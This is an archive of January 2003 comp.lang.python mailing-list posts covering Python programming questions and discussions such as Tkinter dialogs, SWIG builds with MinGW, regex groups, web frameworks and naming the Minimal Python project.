one tends to have rigorous definitions of concepts and try to stick to 
them, so everyone can understand what the are talking about.

For example, maybe there is a "experience broadening" benefit for 
doctors to call "dispensing prescriptions" and "surgery" one and the 
same thing - both involve curing conditions by getting substances 
(chemicals or steel) into the body.

But I doubt you'd get anybody with a medical background to concur. Else, 
you'd end up in the situation of picking a book about "Surgery" off the 
library shelf and not knowing whether it is about diet or cutting people up.

Same with us CompSci types, here.
-- 
      ,_
      /_)              /| /
     /   i e t e r    / |/ a g e l
     http://www.nagel.co.za




From spam at al-queda.org  Wed Jan 29 08:12:04 2003
From: spam at al-queda.org (Aum)
Date: Thu, 30 Jan 2003 02:12:04 +1300
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <9be5e130.0301290226.6da15e53@posting.google.com>
Message-ID: <pan.2003.01.29.13.12.03.984718@al-queda.org>

On Wed, 29 Jan 2003 02:26:35 -0800, Hemanth P.S. wrote:

> I am running XEmacs 21.4.11 on Win2k. When I say gnuserv-start, it
> says "program not found". Does this only work on Linux?

Maybe try the version of XEmacs that comes with Cygwin.
Surely it would have gnuserver support.

Cheers
A





From peter at engcorp.com  Fri Jan  3 22:05:54 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 22:05:54 -0500
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org>
Message-ID: <3E164F92.58798556@engcorp.com>

andy wrote:
> 
> I can't remember ever having seen HTML described as a /programming/ language.

I'm certainly not the first, but the viewpoint does seem slightly rarer
than the contrary one.  I have a theory about that...

> Doesn't HTML stand for HyperText *Markup* Language?
>                 *Markup* as in what TeX and its cronies do?
>                 Language as in a formal /syntax/ - rules for writing in a manner a computer
>                         can 'understand'?
> 
> HTML is obviously a formal language, but would you classify, Tex, for
> instance, as on a par with it?  Tex is not (I believe) HyperText based/aware,
> but it does a similar job when it comes to text presentation...

Hmm.... as far as I recall, TeX is a pretty general purpose language in 
many ways.  I'm pretty sure it's a "real" programming language as you
would define it: allowing the implementation of logic of various kinds.
Whether that's the case or not, I don't see the two as differing fundamentally,
other than in scope.

> I think that it may be worth evaluating whether or not one could implement an
> /algorithm/ in pure HTML:
> 
>         * An algorithm is a method for solving a particular problem

You'd better come up with a much narrower definition if you want to 
exclude things like HTML.  Check dict.org for example.

> I think that generally speaking, programmers (the C, VB, Python etc. kind)
> consider the *logic* part of their art to be the 'programming' bit.  I doubt
> if many would consider the production of a bunch of print statements to be
> 'programming'...

And yet it surely is, in the right context.

Here's my "theory": those who cannot imagine considering HTML as a programming
language are perhaps more in the realm of "computer science" while those who can
more likely have an "engineering" focus.  Or to put it another way: if you
still live in the ivory tower, you might not yet have a broad enough
experience to see the point.

I've written code in assembly, as have many here.  It's just a sequence of
bytes which, when fed through a very particular and usually rather sophisticated
collection of logic gates (a CPU) causes it to act in a certain way.  Sort 
of like HTML elements being fed through a browser, except that the browser
is not quite so sophisticated.  The fact that the CPU has features that
let the code execute loops, or conditional logic, and that the browser
(generally) does not, is an incidental feature, because the CPU was 
designed to be more general-purpose.  If the browser had need a loop,
then HTML would have it.  Some variants do.

I've written code in ladder logic (as have some here).  That's a "language" 
which models how electrical engineers used to build control systems, using 
a collection of of relays, sensors, timers, and other mechanisms physically 
arranged in a "ladder" configuration.  Without the right program running in 
a special-purpose CPU to interpret the instructions in a certain way, 
nothing much will happen.  As far as that CPU and its embedded program
are concerned, however, the "ladder logic" code is just data, neither
more nor less sophisticated in most ways than HTML.  No loops, either.
It's merely a side-effect of the way the program operates that a loop
happens at all.  Heck, HTML can request a refresh, which is pretty 
close to the same thing.

I've written programs which were designed to operate on complicated data
structures, in which I could specify different operations that would be
executed at various times and in response to various conditions.  The
common term for this would be "data-driven programming".  Once the program
that processes the data is written, most of the work lies in specifying
the sequence of data required to make the program do what you want.
In some cases, the need for logic was missing, so the engine did not
provide any such features.  A slight change and it could.  That shouldn't
change whether the data was a "programming language" or not.

I really have a hard time seeing how any of these cases is different from
the case of HTML being fed through a browser.  The browser is just another
special-purpose "engine" for executing the "code" (like bytecode, or 
machine code, or ladder logic operands, or my data structures above) 
which specifies a series of operations.

Just because the work is specialized, narrow in focus, and not general-
purpose is no reason not to call it "programming".  You're still 
figuring out how to make the computer do what you want, and you're
still using similar mental processes to do the work.  Might not feel
so sophisticated to some, and sure it's fun to look down on those who
are just starting into computers and know only HTML "programming", but
other than resorting to distinctions such as "Turing Complete" to 
exclude certain special-purpose areas, there's not much one can do
to deny it.

> Wheras the general public often consider any given task done with a computer
> to be programming... I have often heard secretaries, kids, passersby talking
> of how they had been 'programming' the computer to "write cd's" or "play
> quake", where they meant they'd *installed it*...

You mean you don't see how someone installing a shortcut in their "Startup"
folder in Windows 98 is "programming" their computer to do something
desirable on startup?  Sure it's a pretty borderline case, but why
can't that be called "programming" too?  Do we have to refer to it as
"telling the computer what to do", but say "but it's not programming"?
Where does that get us, other than in a clique?

> The concept of programming is probably more a matter of perspective.

True.  I'm hoping to help a few people break free of the bonds of their
experience to date and consider that many different things are actually
just "programming", and perhaps thereby discover interesting ways to 
transfer the useful patterns they have learned into new areas.

-Peter



From craighoward at bellsouth.net  Sun Jan  5 15:27:21 2003
From: craighoward at bellsouth.net (Craig Howard)
Date: Sun, 5 Jan 2003 15:27:21 -0500
Subject: building modules with swig- mingGW compiler
Message-ID: <001401c2b4f8$dce9e3c0$b1d74cd8@craig>

Hi:

I'm using python 2.2.2, swig 1.3.17, and minGW in order to build a simple
python module, and am running into an error.

I've created the libpython22.a, and added the following changes to
build_ext.py:

    #new_sources.append(base + target_ext) # old
     new_sources.append(base + '_wrap' + target_ext) # new

     #swig_cmd = [swig, "-python", "-dnone", "-ISWIG"] # old
     swig_cmd = [swig, "-python"] # new


I've created a file example.c:

/* File : example.c */
 #include <time.h>
 double My_variable = 3.0;

 int fact(int n) {
     if (n <= 1) return 1;
     else return n*fact(n-1);
     }

 int my_mod(int x, int y) {
     return (x%y);
     }

 char *get_time() {
     time_t ltime;
     time(&ltime);
     return ctime(&ltime);
     }

I've created a file example.i

/* example.i */
 %module example
 %{
 /* Put header files here (optional) */
 %}

 extern double My_variable;
 extern int fact(int n);
 extern int my_mod(int x, int y);
 extern char *get_time();

I've created a file setup.py:

# setup.py
 import distutils
 from distutils.core import setup, Extension

 setup(name = "Simple example from the SWIG website",
         version = "2.2",
         ext_modules = [Extension("example", ["example.i","example.c"])])


Then I run the command: python setup.py build -cmingw32
and I get an error:
example.exp(.edata+0x34):fake: undefined reference to 'initexample'
dllwrap: gcc exited with status 1
error: command 'dllwrap' failed with exit status 1





From max at alcyone.com  Fri Jan 24 20:45:53 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 17:45:53 -0800
Subject: repr of type and class objects
References: <mailman.1043444146.18048.python-list@python.org>
Message-ID: <3E31EC51.3A1B2B51@alcyone.com>

L?tezo wrote:

> I've recently faced a shortcoming of my (our :-)
> favourite prog. lang. related to "repr-ing" type
> and class objects. Let's define a helper function
> to show the problem:
> 
> def F(o): return eval(repr(o))==o
	...
> In the case of str(int) returning "<type 'int'>" is ok, since
> str() should return human-readable representation.
> But repr() should return a python expression can be
> evaluated into an object with the same "value" in the
> same context, so returning "<type 'int'>" is a mistake.
> repr() should return just "int" to satisfy the philosophy
> behind repr.

I think you're reading too much into the "philosophy behind repr."  It
is simply not the case that eval(repr(x)) == x should be true for all x,
or even all builtin x types.  Even the interpreter help for repr simply
says "for most object types."

It's customary that repr either returns something for which
eval(repr(x)) == x is true, or a string of the form <...> to indicate
right up front that this is not the case.

This would require changing enough code that may (for better or worse)
depend on the current form of the reprs, so it seems an unlikely thing
to be done.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I grow with each breath that I take / I cherish my freedom
\__/ Chante Moore
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From max at alcyone.com  Sun Jan 12 21:50:29 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 18:50:29 -0800
Subject: map() question...
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com> <x77kd9ss6o.fsf@guru.mired.org>
Message-ID: <3E222975.F176575D@alcyone.com>

Mike Meyer wrote:

> "Kevin Ethridge" <kevinethridge at yahoo.com> writes:
>
> > Why doesn't map() work with the print function?
> > ie map(print, ['Have', 'a', 'great', 'day.'])
> 
> Because print isn't a function, it's a statement. It will work with
> sys.stdout.write.

Only if wrapped in a lambda.  Don't forget that trailing newline that's
implicit in a print statement (one with no trailing comma, anyway):

	lambda x: sys.stdout.write(x + '\n')

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ If the sky should fall, hold up your hands.
\__/ (a Spanish proverb)
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From max at alcyone.com  Thu Jan 30 23:39:00 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 20:39:00 -0800
Subject: Scripting *of* Python
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org>
Message-ID: <3E39FDE4.99EB64D4@alcyone.com>

Andrew Bennetts wrote:

> On Thu, Jan 30, 2003 at 07:08:01PM -0800, Erik Max Francis wrote:
>
> > As much as I prefer to recommend this as rarely as possible, it
> > sounds
> > like a threaded approach might really be in order.  This sounds
> > really
> > like the case where an asynchronous framework (whether it's Medusa
> > or
> > Twisted or whatever) is going to be have problems because you need
> > to do
> > a lot of work in between asynchronous I/O polls, and the only
> > alternative is breaking the work up into chunks which then makes it
> > much
> > harder to read, debug, and maintain.
> 
> That doesn't preclude the use of Twisted, though.

It doesn't preclude him from using Medusa, either, with just a little
bit of boilerplating to make sure that interactions between the working
thread and the socket are controlled with a mutex.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The great artist is the simplifier.
\__/ Henri Amiel
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From just at xs4all.nl  Tue Jan 14 03:51:59 2003
From: just at xs4all.nl (Just)
Date: Tue, 14 Jan 2003 09:51:59 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:  [ann]MinimalPython project)
References: <mailman.1042511184.4960.python-list@python.org> <4de00b.5h4.ln@beastie.ix.netcom.com>
Message-ID: <just-7B697E.09515914012003@news1.news.xs4all.nl>

In article <4de00b.5h4.ln at beastie.ix.netcom.com>,
 Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:

> David LeBlanc fed this fish to the penguins on Monday 13 January 2003 
> 06:26 pm:
> 
> > How about Nohtyp? That's python held up to a mirror, which seems
> > apropos. Several other cool word plays come to mind too: "no type",
> > "not hip", (something mystical from a japanese play) "noh typ"
> >
>         My first impression was... Egyptian... Some of the old royal family 
> maybe? "nohotep" type pronunciation.

Sortof like "fhqwhgads":

  http://www.homestarrunner.com/fhqwhgads.html

Just



From jon+usenet at unequivocal.co.uk  Mon Jan 20 14:13:22 2003
From: jon+usenet at unequivocal.co.uk (Jon Ribbens)
Date: 20 Jan 2003 19:13:22 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <slrnb2oiii.a5g.jon+usenet@snowy.squish.net>

In article <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh at 4ax.com>, Afanasiy wrote:
> * be as fast or faster than apache+php

You want to use FastCGI (www.fastcgi.com) or mod_python
(www.modpython.org) then I should imagine.

> * provide a fairly equivalent framework w/ sessions, cookies, get, post

Personally I would recommend http://jonpy.sf.net/ , but then I would ;-)

This allows you to write your code easily using an object-oriented
system, and means that it will work unchanged if your application is
being called via CGI or FastCGI or mod_python. There is also a nice
templating system if you want to use it.

jonpy together with the facilities already provided by a normal Python
install provides everything on your list, I think. You already found
Paul Boddie's list of other frameworks, so you know the alternatives
too ;-)



From max at alcyone.com  Mon Jan 20 06:20:38 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 20 Jan 2003 03:20:38 -0800
Subject: sys.stdin and re.search
References: <pan.2003.01.20.06.24.23.588538@illumid.com> <c76ff6fc.0301200309.4fc5d965@posting.google.com>
Message-ID: <3E2BDB86.E0CCBE8C@alcyone.com>

John Machin wrote:

> You don't need those square brackets, it will still work without them.

I noticed that as well, I actually thought that they might not work. 
Some regular expression systems would interpret [\d] as either a \ or a
d, rather than a digit; Python's doesn't, though.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Love is the wisdom of the fool and the folly of the wise.
\__/ Samuel Johnson
    PyUID / http://www.alcyone.com/pyos/uid/
 A module for generating "unique" IDs in Python.



From morden at shadows.net  Tue Jan 14 21:14:00 2003
From: morden at shadows.net (morden)
Date: Tue, 14 Jan 2003 18:14:00 -0800
Subject: Struggling to return integer from a Tk Program
Message-ID: <b029ub$7lg$1@bob.news.rcn.net>

I run this code:


from Tkinter import *
import string

retval = [-1]

class ThreeButtons:
	title = "???"

         def __init__(self, master, textbody, but1, but2, but3=None, 
title=None):
             if title is None: title = self.title
             self.master = master

             self.top = Toplevel(master)
             self.top.title(title)
             self.top.iconname(title)

             Label(self.top, text=textbody).pack(side=TOP, fill=X, 
expand=1, pady=20)

             upos,text=self.underlinepos(but1)
             Button(self.top, {'text':text, 'command':self.yes, \
                               Pack:{'side':'left', 'padx':'20', 
'pady':'20'}}, underline=upos )

             upos,text=self.underlinepos(but2)
             Button(self.top, {'text':text, 'command':self.no, \
                               Pack:{'side':'left', 'padx':'20', 
'pady':'20'}}, underline=upos )
             self.top.bind('<Alt-n>', self.no)

             if but3 is not None:
                 upos,text=self.underlinepos(but3)
                 Button(self.top, {'text':text, 
'command':self.cancel_command, \
                                   Pack:{'side':'left', 'padx':'20', 
'pady':'20'}}, underline=upos )

             self.top.bind('<Alt-c>', self.cancel_command)

             self.top.bind('<Alt-w>', self.cancel_command)
             self.top.bind('<Alt-W>', self.cancel_command)
             self.top.bind('<Alt-F4>', self.cancel_command)
             self.top.protocol('WM_DELETE_WINDOW', self.cancel_command)
             self.master.mainloop()

         def droptilda(self, str):
             comps = string.split( str, '~' )
             res = comps[0]
             if(len(comps)>1):
             	res += comps[1]
             return res

         def underlinepos(self, str):
             comps = string.split( str, '~' )
             if(len(comps)<=1):
                 return -1, comps[0];
             if(len(comps)>2):
             	# two tildas??????
                 noop=1
             #print "len is %d %d\r" % ( len(comps), len(comps[0]) )
             return len(comps[0]), comps[0]+comps[1]

         def yes(self, event=None): self.quit(self, 0)
         def no(self, event=None): self.quit(self, 1)
         def cancel_command(self, event=None): self.quit(self, 2)

         def ok_event(self, event):
             ok_command()

         def ok_command(self):
             quit()

	def quit(self, ret_val, how=None):
             how = how
             rv = int(ret_val)
             retval[0] = rv
             print "%d\r" % retval[0]
             self.master.quit()              # Exit mainloop()

def ThreeButtonDriver(root, body, first, second, third, title):
     ThreeButtons(root, body, first, second, third, title)
     print "%s\r" % retval[0]
     return retval

"""Simple test program."""
root = Tk()
root.withdraw()
ThreeButtonDriver(root, "Body of the message\non two lines", "Yes", 
"~No", "Can~cel", "Sample YesNoMsg Window")



And get this trace:
python ./yesmsg.py
Exception in Tkinter callback
Traceback (most recent call last):
   File "/usr/local/lib/python2.2/lib-tk/Tkinter.py", line 1292, in __call__
     return apply(self.func, args)
   File "./yesmsg.py", line 59, in no
     def no(self, event=None): self.quit(self, 1)
   File "./yesmsg.py", line 70, in quit
     rv = int(ret_val)
AttributeError: ThreeButtons instance has no attribute '__int__'

upon pressing the second button (~No). Replacing int(ret_val) with 
ret_val on line             rv = ret_val
results in the same trace

Is there an easier way to get the number of selected button out of the 
Tkinter script?

I plan to extend the interpreter with ThreeButtonDriver and use that for 
modal dialogs in the program (the rest of the gui is in Zinc on top of 
Motif).

How could I place the dialog in the cetner of the root X Window? Should 
I use placer for that?

I would appreciate any comments on how I could deuglify this script a bit.




From ajs at ix.netcom.com  Wed Jan  8 20:15:15 2003
From: ajs at ix.netcom.com (Arthur)
Date: Wed, 8 Jan 2003 20:15:15 -0500
Subject: ANN: PyGeo version .8a released
Message-ID: <002f01c2b77c$92119a10$5bb4f4d1@Arts>

ANN: PyGeo version .8a released
----------------------------------------------------------
see http://home.netcom.com/~ajs

Something quite young can grow up a quite some in a year.
I believe PyGeo has.

And what is PyGeo? :
====================

PyGeo is a dynamic geometry laboratory and toolkit requiring Python2.2 and
VPython (and Numeric as distributed with VPython). PyGeo may be used to
explore the most  basic concepts of Euclidean geometry at an introductory
level, including by elementary schools students and their teachers.

But is particularly suitable for exploring more advanced geometric topics -
such as projective geometry and the geometry of complex numbers.

The intent is to bring a rich visual experience to the study of both
synthetic and analytic geometry

The inspiration:
================
PyGeo is inspired by other dynamic geometry applications - Cabri, Geometers
Sketchpad, cinderella  and, in particular, David Joyce's wonderful open
source java code which is used to create his inspiring site of Euclids
Elements   with the classic constructions in web-enabled dynamic form.

What distinguishes PyGeo
========================

   The 3rd dimension
    ------------------
PyGeo was built from inception to take advantage of the current generation
of 3d graphic capabilities (applied geometry, in itself, of course). While
this has a certain appeal just on motivational grounds, the importance of
this aspect of PyGeo is, it is contended, of a significantly higher order.
The study even of the 2 dimensional geometries beyond the simplest Euclidean
concepts *requires* 3 dimensions for thorough investigation, or where the
enhancement of intuition is a goal.

The visualization of the projective geometry of the plane requires the
facility for the visualization of the projection from plane to plane. Well
accomplished in 3d space.

In the exploration of the geometry of the complex plane, the visualization
of the projection to the unit sphere adds an important dimension. The 3rd
dimension.

   The Python Programming Language
   ---------------------------------------

The choice of Python as the implementation language for PyGeo goes well
beyond the fact of my own comfort with it as a development language. The
choice is in fact quite integral to PyGeo's educational purpose and design.
Python code is often referred to as "executable pseudo-code". This helps
bring some unique characteristics to PyGeo as tool for the study of
geometric concepts.

Because of the level of programming abstraction provided by Python and the
accessibility to its code as readable text, the analytics driving the
rendering of the synthetic, visual geometry is highly exposed. One can
explore the analytics at work. The abstract becomes much less abstract, and
the two classical approaches to the study of geometry can and should become,
much more coherently, one.

PyGeo, as open source Python, should be readily extensibleby anyone inclined
toward the effort. Extend the functionality, create new primitives and
interfaces for study of specialized geometric areas. In this sense PyGeo is
not an application, as such. It hopes to be a laboratory and a framework,
the beginning of a structure for imaginative
exploration.

And play.

And, hopefully, some worthwhile fun.

Site for download
=================

http://home.netcom.com/~ajs

License:
========
GPL

Documentation:
==============
The release includes source code (of course) and numerous demos, but the
user documentation is still in progress - thank you reStructuredText.


Feedback
========
mailto:ajs at ix.netcom.com












From nobody at nowhere.near.here  Thu Jan 16 08:15:49 2003
From: nobody at nowhere.near.here (Nobody)
Date: Thu, 16 Jan 2003 13:15:49 -0000
Subject: what's the matter with wxPython(Version 2.4.0), It doesn't work crrectly
References: <b61709d5.0301152142.16f32a48@posting.google.com>
Message-ID: <b06ba7$flq$1@newsg4.svr.pol.co.uk>

Removing the event.Skip() will do the trick. Don't ask me why ;-).

"Baby" <liaochun at landpage.com.cn> wrote in message
news:b61709d5.0301152142.16f32a48 at posting.google.com...
> I wrote a test program in wxPython.(The GUI Development  is Boa
> constructor ,
> version 0.20).I placed a wxButton on a wxFrame, and I produced a
> wxEVT_COMMAND_BUTTON_CLICKED event . Just like this:
>
>       def OnButton1Button(self, event):
>         dlg = wxMessageDialog(self, 'Message',
>           'Caption', wxOK | wxICON_INFORMATION)
>         try:
>             dlg.ShowModal()
>         finally:
>             dlg.Destroy()
>         event.Skip()
>    but when I click the button , the function is performed two times.
> I don't know what's matter with it. Who can help me, Thanks a lot.
> Sorry my poor English





From skip at pobox.com  Tue Jan 14 11:27:55 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Jan 2003 10:27:55 -0600
Subject: base64.decodestring problem
In-Reply-To: <3e243043.3717561981@news.mad.ttd.net>
References: <3e243043.3717561981@news.mad.ttd.net>
Message-ID: <15908.14987.702499.306815@montanaro.dyndns.org>

    Manuel> I'm using base64 with xmlrpclib to implement a xmlrpc server.
    Manuel> The server is running fine, and the client under Linux/Solaris
    Manuel> run fine too.

    Manuel> However, the same client under Windows don't run correctly.

May sure you open the output file in binary mode on Windows.

Skip




From lac at strakt.com  Sat Jan 11 02:08:19 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 11 Jan 2003 08:08:19 +0100
Subject: 4 tests failed: test_socket test_sunaudiodev test_sundry test_urllib2 
In-Reply-To: Message from nospam@miltonstreet.com (Sam Carleton) 
   of "10 Jan 2003 22:21:40 PST." <52373b4f.0301102221.37091303@posting.google.com> 
References: <52373b4f.0301102221.37091303@posting.google.com> 
Message-ID: <200301110708.h0B78JjL023083@ratthing-b246.strakt.com>

Looks like you have permission problems too.
http://mail.python.org/pipermail/python-list/2003-January/138751.html

Laura
> I am trying to get Python 2.2.2 compiled on a Solaris 8 (SPARC)
> machine and I got this error:
> 
> 4 tests failed:
>     test_socket test_sunaudiodev test_sundry test_urllib2
> 
> I ran each test by itself, see below.  I am trying to get python
> installed for another software package I would like to use.  Any and
> all thoughts will be very helpful!
> 
> Sam
> 
> # ./python ./Lib/test/test_socket.py
> Traceback (most recent call last):
>   File "./Lib/test/test_socket.py", line 12, in ?
>     import socket
>   File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
> ?
>     from _socket import *
> ImportError: No module named _socket
> 
> # ./python ./Lib/test/test_sunaudiodev.py
> Traceback (most recent call last):
>   File "./Lib/test/test_sunaudiodev.py", line 28, in ?
>     test()
>   File "./Lib/test/test_sunaudiodev.py", line 26, in test
>     play_sound_file(findfile('audiotest.au'))
>   File "./Lib/test/test_sunaudiodev.py", line 20, in play_sound_file
>     raise TestFailed, msg
> test_support.TestFailed: (13, 'Permission denied', '/dev/audio')
> 
> # ./python ./Lib/test/test_sundry.py
> Traceback (most recent call last):
>   File "./Lib/test/test_sundry.py", line 8, in ?
>     import BaseHTTPServer
>   File "/export/home/sam/src/Python-2.2.2/Lib/BaseHTTPServer.py", line
> 70, in ?
>     import socket # For gethostbyaddr()
>   File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
> ?
>     from _socket import *
> ImportError: No module named _socket
> 
> # ./python ./Lib/test/test_urllib2.py
> Traceback (most recent call last):
>   File "./Lib/test/test_urllib2.py", line 2, in ?
>     import urllib2
>   File "/export/home/sam/src/Python-2.2.2/Lib/urllib2.py", line 90, in
> ?
>     import socket
>   File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
> ?
>     from _socket import *
> ImportError: No module named _socket
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From sean at activeprime.com  Mon Jan 13 16:00:26 2003
From: sean at activeprime.com (Sean)
Date: 13 Jan 2003 13:00:26 -0800
Subject: wxPython on RedHat 7.3  (GNOME 1.4 I think???)
References: <ef7a350b.0301101318.1fdaeb0c@posting.google.com> <mailman.1042235066.17749.python-list@python.org>
Message-ID: <ef7a350b.0301131300.58ad06@posting.google.com>

Cliff, 

  Thanks for the pointer.  That got rid of the text showing up as
boxes.  The other problem I was having was a wxStaticText control
object in my frame's toolbar keeps disapearing whenever I resize the
frame.  It comes back if I give focus to another window and then
switch back, but refreshing the frame (or toolbar) on resize events
does not seem to help.

Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042235066.17749.python-list at python.org>...
> On Fri, 2003-01-10 at 13:18, Sean wrote:
> > Anyone had trouble running wxPython on the GNOME environment that
> > ships with redhat 7.3 (GNOME 1.4 I think...)?  Our software has been
> > running into a lot of problems on that platform, and it looks like its
> > not us, since the wxPython demo is having the same problems (text not
> > displaying, weird visability errors, etc).  Anyone else had this
> > problem?
> 
> This is usually a problem only seen on GNOME2, but you might try running
> the demo with
> 
> env LANG='C' python demo.py
> 
> to see if that helps.  I assume by "weird visibility" errors you are
> referring to fonts?  For instance, fonts display as small boxes rather
> than text?  If not, please clarify.



From vanevery at 3DProgrammer.com  Wed Jan 29 03:13:14 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Wed, 29 Jan 2003 08:13:14 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <3E3724FF.8358506E@engcorp.com>
Message-ID: <u2MZ9.2132$wd2.169355@newsread2.prod.itd.earthlink.net>

Peter Hansen wrote:
> Brandon Van Every wrote:
>>
>> Python is a "glue" language, ...
>
> Just checking here :-)... you're not saying Python is *only* a glue
> language, right?  Just that it *can be* used as a glue language when
> you need such a thing?

I see no primary purpose for Python's existence other than as a glue
language.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From phr-n2002b at NOSPAMnightsong.com  Mon Jan 13 01:19:30 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 22:19:30 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <87hecdvb00.fsf@tao.localdomain>
Message-ID: <7xvg0t7erx.fsf@ruckus.brouhaha.com>

Patrick W <patrickw106 at yahoo.com.au> writes:
> A three letter palindrome that is both onomatapoeic (sp?) and also
> connotes 'smallness':
> 
> pip. (Python in Python).

I like this too.



From mike at bindkey.com  Sun Jan 26 14:21:49 2003
From: mike at bindkey.com (Mike Rovner)
Date: Sun, 26 Jan 2003 11:21:49 -0800
Subject: Emacs-tips for a Python-programmer
References: <8gWY9.15616$CG6.265357@news4.e.nsc.no>
Message-ID: <b11cd5$5f7$1@main.gmane.org>

"Thomas Weholt" <2002 at weholt.org> wrote in message
news:8gWY9.15616$CG6.265357 at news4.e.nsc.no...

> It would be nice to have all the features useful in
> Python-programming in Emacs documented in one place, for instance the page
> for Emacs python-mode at http://www.python.org
>

Go ahead and collect them on
http://www.python.org/cgi-bin/moinmoin/EmacsPythonMode

Mike







From sjmachin at lexicon.net  Fri Jan 10 18:47:09 2003
From: sjmachin at lexicon.net (John Machin)
Date: 10 Jan 2003 15:47:09 -0800
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org>
Message-ID: <c76ff6fc.0301101547.4842c0a2@posting.google.com>

Kyler Laird <Kyler at news.Lairds.org> wrote in message news:<sl51f-6dj.ln1 at news.lairds.org>...
> http://www.python.org/doc/current/lib/re-syntax.html
> 	(...)
> 	    Matches whatever regular expression is inside the
> 	    parentheses, and indicates the start and end of a 
> 	    group; the contents of a group can be retrieved
> 	    after a match has been performed, [...]
> 
> Sounds good, so I tried it.
> 
> 	import re
> 
> 	text = 'foo foo1 foo2 bar bar1 bar2 bar3'
> 
> 	test_re = re.compile('([a-z]+)( \\1[0-9]+)+')
> 
> 	print test_re.findall(text)
> 
> I expected the matches to be something like
> 	[('foo', [' foo1', ' foo2']), ('bar', [' bar1', ' bar2', ' bar3'])]
> but it's just this.
> 	[('foo', ' foo2'), ('bar', ' bar3')]
> 
> How do I get to the other groups that were matched?  (Is this
> an FAQ?  I don't know where to start looking.)

As you have found, you get only the last of a bunch of repeats, not a
list of all of them. The following may help, but I suspect that to do
what you want, you will have to explicitly code a loop or two to munch
through your input string. You may want to look at parsing engines
like SPARK or the one in the mxText package.

>>> import re
>>> test_re = re.compile('([a-z]+)((?: \\1[0-9]+)+)')
>>> text = 'foo foo1 foo2 bar bar1 bar2 bar3'
>>> test_re.findall(text)
[('foo', ' foo1 foo2'), ('bar', ' bar1 bar2 bar3')]



From jkraska at san.rr.com  Sat Jan  4 23:55:49 2003
From: jkraska at san.rr.com (Courageous)
Date: Sun, 05 Jan 2003 04:55:49 GMT
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com>
Message-ID: <7fef1vccot2714o1b7nkm1n3dlsln5q9gb@4ax.com>

>This whole business with the self; it is not elegant.

This is an entirely subjective matter, elegance. Take
the penchant of many windows programmers using C++ who
put m_ before all their member variables. This is really
just the programmer working around ambiguity. In my mind,
*that* is inelegant.

In python 'm_' is spelled 'self'.

C//




From pyth at devel.trillke.net  Wed Jan  8 06:57:11 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 12:57:11 +0100
Subject: Generate variables at run time?
In-Reply-To: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com>; from lazypointer@yahoo.com on Wed, Jan 08, 2003 at 06:29:09AM +0000
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com>
Message-ID: <20030108125711.K17919@prim.han.de>

Byron Morgan wrote:
> Is there any way in Python to generate a new variable name based on data? I
> have tried the eval() function, but this gets rejected, if the variable
